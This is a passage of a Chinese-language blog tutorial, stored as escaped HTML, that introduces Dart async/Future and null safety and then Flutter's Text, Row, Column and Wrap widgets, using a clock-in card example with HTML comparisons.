是泛型啦。当你运行异步方法的时候,他会先返回一个 Future 类,然后按需返回结果,或者处理结果。我们有两个方式处理异步编程:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eseconds:\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eFutur\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eprintWithDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"kd\"\u003easync\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edelayed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e相当于下面这段代码:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eseconds:\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eprintWithDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edelayed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"空安全\"\u003e空安全\u003c/h4\u003e\n\u003cp\u003e在你们使用 C 语言变量的时候,经常出现变量尚未定义就被使用了。Dart 引入了空安全机制,来帮助避免这个现象,让代码更稳定。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 默认所有类型均不可空,类型加问号,表示该变量可空\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 如此写会报编译错误,语言会进行空检查的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 可以使用 late 表示稍后赋值,但你不能忘了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e当然还有很多,想知道的话请去看官方介绍。我当时看了俩下就上手了\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003ch2 id=\"flutter-的基本部件介绍\"\u003eFlutter 的基本部件介绍\u003c/h2\u003e\n\u003cp\u003eFlutter 的 Widget 是一个一个的类,描述了在当前的配置和状态下视图所应该呈现的样子。在 Flutter 里面,万物都是围绕部件旋转的。\u003c/p\u003e\n\u003cp\u003e接下来我要展示一个信息卡,用这个方式给大家展示 Flutter 的基本组件。顺便我搞点 HTML 之类的东西,来给大家做点对比。接下来的部件,都是按照 Material 部件来说明的,iOS 的不在此说明。\u003c/p\u003e\n\u003ch3 id=\"text-部件\"\u003eText 部件\u003c/h3\u003e\n\u003cp\u003eText 是用来渲染一段文字的。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Maggie Rules!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e效果大致说,跟HTML的这个一样。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003eMaggie Rules!\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eText 的属性有很多,比如说大小,斜体之类。有一个类叫 TextStyle,来给Text加属性,比如字体,阴影,颜色之类。那么,我可以这么写一个绿色的字。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;50 sucks\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nl\"\u003esize:\u003c/span\u003e\u003cspan class=\"m\"\u003e14\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e\u003cspan class=\"n\"\u003eTextStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egreen\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e效果大致说,跟HTML的这个一样。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;color: green\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e 50 sucks \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我感觉通过这个,你们知道这玩意和 HTML+CSS 的对应了吧,也许。\u003c/p\u003e\n\u003ch3 id=\"rowcolumnwarp\"\u003eRow,Column,Warp\u003c/h3\u003e\n\u003cp\u003e你们可以看到,我在这些卡片上画了几条线。这是为了说明我们设计该卡片的基本架构,行和列。Flutter 的部件构造,就是在 Row 和 Column 之上的。\u003c/p\u003e\n\u003cp\u003eRow 和 Column 的写法差不多,都是这样的,更多属性一会再说:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eRow 代表行,Column 代表列。我们这个卡片是有三行的,每行是有对应元素的。通过这个,我们可以写出这个东西的框架了。\u003c/p\u003e\n\u003cp\u003e我们先实现每一行,第一行是在两侧的两个元素,注意到中间很大间隔了吗?这个是 Row 的一个属性,AxisAlignment。\u003c/p\u003e\n\u003cp\u003eAxisAlignment 是指这个部件两个轴上部件的排列方式,分为主轴 MainAxisAlignment 和交叉轴 CrossAxisAlignment。这张图片显示出这两个部件的主轴和交叉轴。我们通过修改这个,来规划好在该列/行上元素的排列方式。对于第一行,我们是这样写的:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003emainAxisAlignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eMainAxisAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e//第一个Text\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e//第二个Text\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e剩下两行我这里就不赘述了,他们的排列方式都是靠左,也就是默认值。大致的代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003emainAxisAlignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eMainAxisAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;第1次\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;打卡成功\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epumch_clock\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;2022-12-12 11:11:11\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;打卡成功\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e以上部分是最基本设计Flutter布局的样例了。实际使用中,这样写的方式很死板,遇到一些动态变化的组件,比如说很多行的文字,Column高度侦测问题等等,会花费大量的时间设置这些东西的样式。所以,在实际PDA的编写中,我是使用了Warp来让其自动排列这些组件,你只是需要输入这些部件就好了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eWrap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ealignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eWrapAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003espaceBetween\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTagsBoxes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etext:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;第 \u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003emark\u003c/span\u003e\u003cspan class=\"s2\"\u003e 条\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebackgroundColor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eprimaryColor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esituation\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eDivider\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etransparent\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epunch_clock\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epunchDay\u003c/span\u003e\u003cspan 